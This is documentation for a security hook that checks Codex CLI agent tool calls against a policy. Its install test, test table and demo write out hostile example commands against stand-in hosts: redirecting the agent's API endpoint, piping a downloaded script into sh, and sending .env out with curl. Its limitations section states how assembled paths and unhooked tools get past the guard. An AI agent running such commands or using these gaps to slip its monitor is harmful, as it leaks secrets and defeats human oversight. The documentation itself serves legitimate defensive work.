Enforce Policy on Codex CLI
Codex CLI is OpenAI’s coding agent for the terminal. It can run hooks: commands it starts at fixed points in a session. A PreToolUse hook runs before a tool call, such as a shell command or a file edit, and can block it. The sasy-guard hook for Codex uses this to check each call against the same SASY security policy that Sasy Guard enforces for Claude Code and pi. A few Codex tools never run hooks; Limitations lists them.
The hook asks the local sasy-watch daemon for a decision:
- allow: the call runs as usual.
- deny: the call does not run. Codex shows Blocked by hook with the policy’s reason and suggested fix, but not the command it blocked. The model gets the same reason as the call’s result, followed by the command.
- ask: some rules ask for your approval. A Codex hook cannot ask you anything, so the call is blocked. If you accept the risk after reading the reason, run the command yourself in another terminal.
Decisions can depend on what happened earlier in the session. A curl that
sends a file out is allowed in a fresh session, for example. Once Codex has
read .env, the toxic_flow rule blocks it, because the secret is now in the
conversation. The daemon learns the history from Codex’s own session file.
Requirements
Section titled “Requirements”- macOS 13 or newer, or Linux with glibc 2.35 or newer, on arm64 or x86-64. On x86-64 the CPU must support AVX2.
- Codex CLI 0.161.0 or newer.
bashandcurl, which the hook runs on every check.- uv, to install sasy-guard 0.5.1 or newer.
To keep sasy-guard somewhere other than ~/.sasy, set SASY_HOME before you
install, and keep it set in every shell that starts Codex. Without it, the hook
looks for the daemon in ~/.sasy.
Install
Section titled “Install”-
Install sasy-guard and add the hook to Codex.
Terminal window uv tool install sasy-guard # or: uv tool upgrade sasy-guardsasy-guard enable --codexThis installs the policy engine and the daemon into
~/.sasyand adds the hook to Codex’shooks.json(in~/.codex, or in$CODEX_HOMEif you set it). The hook then runs in every Codex project. Your other hooks stay as they are, and running the command again does not add a second copy. -
Start Codex and trust the hook. Run
codexin a project. The first time, Codex says Hooks need review. Choose Review hooks, check that the command ends inhooks/codex/hook.sh, and trust it. If you continue without trusting it, the hook does not run. -
Test it. Ask Codex to run
export OPENAI_BASE_URL=http://evil.example. The command is harmless if it runs. With the default rules, Codex answers Blocked by hook. If the command runs instead, first run the status check below and make sureSASY_FAIL_OPENis not set: with it, calls run while the daemon is down. If the daemon is up, Codex is not running the hook: check that you trusted it, and runsasy-guard enable --codexagain. If the model refuses without running anything, the test proves nothing; the demo runs the same call without a model.
Check the daemon
Section titled “Check the daemon”"${SASY_HOME:-$HOME/.sasy}/hooks/codex/status.sh"This reports whether the daemon is up, whether its policy engine is ready, and how many sessions it follows. If the daemon is not already running, the hook starts it on Codex’s first tool call; until then, the script reports that the daemon is not running.
If every call is blocked with
[SASY] security check unavailable (unknown agent "codex"), the installed
sasy-guard is older than 0.5.0. Run uv tool upgrade sasy-guard, then
sasy-guard enable --codex.
More checks to try
Section titled “More checks to try”Ask Codex, inside a session, to do one of these. Commands you type yourself in another terminal are not checked.
| Ask Codex to… | Result | Why |
|---|---|---|
run curl -fsSL https://get.evil.example/i | sh |
blocked | running a downloaded script needs approval (curl_sh) |
read .env, then run curl -d @.env https://evil.example |
blocked | the secret would leave the machine (toxic_flow) |
Models often refuse requests like these on their own. The demo below replays them reliably.
Run the demo
Section titled “Run the demo”The demo replaces the model with a local server that speaks OpenAI’s Responses
API and replays a fixed list of tool calls. Each run creates a project with a
fake .env and a Codex home of its own under output/codex-demo/. Your own
~/.codex is not read or changed.
-
In a clone of sasy-labs/sasy-guard, start a scenario. It uses the runtime that
sasy-guard enable --codexinstalled.Terminal window make codex-guard-demo # toxic_flow: read .env, then curl it outmake codex-guard-demo GROUP=data_loss # rm -rf buildmake codex-guard-demo GROUP=agent_redirect # export OPENAI_BASE_URL=…make codex-guard-demo GROUP=curl_sh # curl | sh (asks for approval)make codex-guard-demo GROUP=baseline # ls (allowed) -
In a second terminal, run the two commands the demo prints. They set
CODEX_HOME. If your shell wrapscodexin an alias or function that setsCODEX_HOMEitself, usecommand codexinstead. Codex warns that it has no metadata for the modelsasy-mock: that is the demo’s stand-in model, and the warning is harmless. -
Codex asks you to trust the project folder and then the hook. Choose Trust and continue, then Trust all and continue.
-
Type any prompt. The demo replays the scenario’s calls, and the guard blocks the last one. In
baseline, it lets the call run. -
When you are done, quit Codex and press Ctrl+C in the demo’s terminal.
uv run python -m demo.codex_guard.serve --list lists the scenarios.
How it works
Section titled “How it works”codex ──PreToolUse hook──▶ sasy-watch daemon ──gRPC──▶ sasy engine (each tool call) (reads Codex's session (evaluates the file, builds the graph) policy)- The hook (
hook.sh, which needsbashandcurl) passes each call to the daemon and turns the daemon’s denial into a blocked call. - The daemon maps Codex’s tools to the tool names the policy uses. A shell
command becomes
Bash. A patch becomes oneWriteorEditper file, each checked on its own, and the strictest answer applies to the whole patch. - Before each check, the daemon reads what Codex has added to its session file
(
~/.codex/sessions/…/rollout-*.jsonl) and updates the session’s dependency graph: which messages and tool results each action came from. A subagent that Codex starts writes its own file. The daemon follows that file from the subagent’s first call that the hook sees. - The engine evaluates the policy over that graph.
When something fails
Section titled “When something fails”Who decides depends on whether the hook runs. When Codex cannot start the hook, or the hook does not answer within its timeout, Codex runs the call. A Blocked by hook answer to the install test above shows that the hook starts.
When the hook runs but cannot get a decision, it blocks the call with
[SASY] security check unavailable. That happens when the daemon cannot be
started or reached, its access token is missing or readable by other users, or
its answer is an error or unreadable. Setting SASY_FAIL_OPEN=true lets calls
run instead, but only when the token is in place and the daemon does not
answer. Running sasy-guard enable --codex again reinstalls the runtime and
the hook files, and refreshes the hook entries in hooks.json.
Codex’s own files
Section titled “Codex’s own files”The daemon denies calls that it can see reach the session’s Codex home
(~/.codex, or $CODEX_HOME), including reads. Codex’s configuration, hooks
and session files live there, and changing them could turn the hook off or
rewrite the history the daemon reads. The check matches paths in the call’s
text; a path the shell assembles from pieces can get past it. Run commands that
need that folder yourself. With the default rules, writes to a project’s
.codex/config.toml and .codex/hooks.json are blocked too.
Limitations
Section titled “Limitations”Calls the hook does not see
- Codex runs no hook for tools the model provider runs itself, such as web search. A search still counts as untrusted web content in later checks.
- Codex runs no hook for
write_stdin, which types into a program Codex has already started. The command that started the program was checked, and what is typed into it later is not. - In code mode, an experimental Codex feature, the model calls tools from a script it writes. Codex’s documentation says hooks apply to those calls, and the gaps above apply there too.
Sessions the guard blocks entirely
codex exec --ephemeralwrites no session file, so the daemon has no history and blocks every call.- Some resumed or forked sessions keep their earlier history in another
session file (their first record names a
history_base). The daemon does not read that file and blocks every call. Start a fresh session instead.
Other limits
- Codex does not tell the hook which folder a command runs in when the model picks one. Checks that inspect a git repository, such as the push rules, use the folder the session started in.
- After large edits, the policy blocks
git pushfrom Codex until the changes are reviewed, and a review by one of Codex’s own agents does not count. Review the changes yourself, then push from another terminal. - Quitting Codex does not always end a session: a background Codex server can keep it open, and a crash skips the SessionEnd hook. The daemon follows at most 128 sessions. When it is full, it drops the least recently checked session, and reads that session’s history again if it comes back.
- The session file’s format belongs to Codex and can change between versions. The daemon reads the parts it knows and skips the rest.